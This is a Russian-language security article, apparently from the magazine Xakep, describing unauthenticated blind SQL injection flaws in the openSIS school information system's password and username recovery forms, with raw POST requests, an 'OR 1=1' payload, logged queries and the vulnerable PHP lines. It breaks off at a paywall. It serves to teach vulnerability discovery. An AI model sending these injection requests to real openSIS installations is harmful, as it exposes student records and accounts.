В этой статье мы с тобой раз­берем нес­коль­ко видов SQL-инъ­екций на боевом при­мере — при­ложе­нии openSIS, в коде которо­го я нашел нес­коль­ко серь­езных проб­лем. Если ты хочешь научить­ся обна­ружи­вать потен­циаль­ные проб­лемы в коде на PHP, этот матери­ал дол­жен стать живой иллюс­тра­цией. Осо­бен­но она будет полез­на нович­кам, которые хотят разоб­рать­ся с темой SQLi.

info

Ес­ли ты вдруг не в кур­се, как вооб­ще работа­ют SQL-инъ­екции, спе­циаль­но для тебя написа­на статья «SQL-инъ­екции. Раз­бира­ем на паль­цах одну из самых популяр­ных хакер­ских тех­ник».

openSIS — это бес­плат­ная и откры­тая информа­цион­ная сис­тема для учеб­ных заведе­ний, дос­тупная для школ и выс­ших учеб­ных заведе­ний. Она раз­работа­на и под­держи­вает­ся ком­пани­ей Open Solutions for Education.

Я уста­новил это при­ложе­ние локаль­но, что поз­волило мне видеть все зап­росы, отправ­ляемые им в базу дан­ных. Дру­гими сло­вами, тес­тирова­ние про­води­лось методом белого ящи­ка: зна­ние кода и струк­туры дан­ных поз­волило тща­тель­но изу­чить, как обра­баты­вает­ся то, что ввел поль­зователь, и как фор­миру­ются SQL-зап­росы.

Я искал те мес­та в коде, где ввод под­став­ляет­ся в SQL-зап­рос без дол­жной про­вер­ки и чис­тки (валида­ции и санити­зации). Давай пос­мотрим, что мне уда­лось най­ти.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

 

Логирование

Пер­вым делом нам пот­ребу­ется нас­тро­ить логиро­вание зап­росов к базе дан­ных. То есть нам нуж­но записы­вать выпол­няемые зап­росы к базе, что­бы потом по ним мож­но было пос­мотреть, как прог­рамма реаги­рова­ла на то, что поль­зователь вво­дил на сай­те. Это поможет нам наг­ляднее уви­деть проб­лемы и вос­поль­зовать­ся ими.

В MySQL или MariaDB для вклю­чения логиро­вания нуж­но выпол­нить сле­дующее:

  1. Соз­дать файл mysql.log в дирек­тории /var/log/mysql.
  2. Изме­нить пра­ва на файл или пап­ку и пре­дос­тавить раз­решения поль­зовате­лю mysql:

    chown mysql:mysql /var/log/mysql -R
  3. Открыть файл с нас­трой­ками MySQL/MariaDB, обыч­но рас­положен­ный в /etc/mysql/my.cnf или /etc/my.cnf.

  4. Най­ти сек­цию [mysqld] (если ее нет, добавить самос­тоятель­но).

  5. Добавить или рас­коммен­тировать сле­дующие стро­ки для вклю­чения логиро­вания зап­росов:

    general_log = 1
    general_log_file = /var/log/mysql/mysql.log
  6. Переза­пус­тить сер­вис MySQL/MariaDB, что­бы изме­нения всту­пили в силу.

 

Немного о SQLi

За­бегая впе­ред, ска­жу, что мы най­дем (но не будем экс­плу­ати­ровать) «сле­пые» SQL-инъ­екции. В отли­чие от дру­гих форм SQLi, сле­пые SQL-инъ­екции не рас­кры­вают дан­ные нап­рямую и тре­буют тон­кого под­хода к извле­чению дан­ных. Сле­пые SQL-инъ­екции делят­ся на две основные катего­рии: на осно­ве булевых зна­чений и на осно­ве вре­мени.

В булевой сле­пой SQLi мы изме­няем SQL-зап­рос так, что­бы сис­тема воз­вра­щала булево зна­чение — то есть ответ на то, истинно выраже­ние или лож­но. Этот тип ата­ки исполь­зует бинар­ную при­роду отве­тов: содер­жимое веб‑стра­ницы или код отве­та HTTP будет изме­нять­ся в зависи­мос­ти от истиннос­ти внед­ренно­го зап­роса. Нап­ример, изме­нение зап­роса может при­вес­ти к тому, что какие‑то эле­мен­ты на веб‑стра­нице будут появ­лять­ся и исче­зать в зависи­мос­ти от того, истинны ли резуль­таты зап­роса (усло­вие сущес­тву­ет в базе дан­ных) или лож­ны (его нет).

Вре­мен­ные сле­пые SQL-инъ­екции более скрыт­ны. Здесь мы внед­ряем SQL-коман­ды, которые зас­тавля­ют базу дан­ных задумать­ся чуть доль­ше обыч­ного, и исполь­зуем это, что­бы вытащить из нее дан­ные. Отсутс­твие визу­аль­ной обратной свя­зи на стра­нице дела­ет эти ата­ки осо­бен­но труд­ными для обна­руже­ния. Если усло­вие зап­роса истинно, ответ базы дан­ных намерен­но задер­жива­ется, и отсутс­твие задер­жки озна­чает «ложь». Изме­ряя вре­мя отве­та, мы можем опре­делить наличие или отсутс­твие кон­крет­ных дан­ных в базе.

 

Неаутентифицированные SQLi

При поис­ке багов в при­ложе­нии ты дол­жен ори­енти­ровать­ся в пер­вую оче­редь на уяз­вимос­ти, которые не тре­буют аутен­тифика­ции поль­зовате­ля, так как они самые опас­ные. Я нашел две похожие SQL-инъ­екции в раз­деле «Сту­дент» в фун­кци­ях, отве­чающих за вос­ста­нов­ление име­ни поль­зовате­ля и пароля.

Я отпра­вил два зап­роса: пер­вый, ими­тируя работу фор­мы Forgot Password, вто­рой — Forgot Username.

Forgot Password:

POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5

Forgot Username:

POST /openSIS/ResetUserInfo.php HTTP/1.1
Host: 192.168.147.131
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm

Вот в какие SQL-зап­росы это тран­сфор­мирова­лось:

Query SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3
Query SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'
AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS

Как видишь, s.STUDENT_ID не зак­лючен в кавыч­ки, что дела­ет эту перемен­ную уяз­вимой для SQL-инъ­екций. Я могу исполь­зовать полез­ную наг­рузку XSS OR 1=1:

tail -f /var/log/mysql/mysql.log | grep -i 'xss'
2024-04-27T13:35:15.303711Z 9 Query
SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'
AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1
AND la.PROFILE_ID=3
2024-04-27T13:35:29.563796Z 10 Query
SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'
AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1

Вот как выг­лядит уяз­вимый код для вос­ста­нов­ления юзер­ней­ма. Файл ResetUserInfo.php, стро­ка 395:

$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));

А вот уяз­вимый код, который обра­баты­вает фор­му вос­ста­нов­ления пароля. Файл ResetUserInfo.php, стро­ка 296:

$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la
WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''
AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''
AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));

От­сюда мы можем понять, что если греп­нуть по выраже­нию =' . $, то мы, веро­ятно, получим все парамет­ры, которые не зак­лючены в кавыч­ки.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии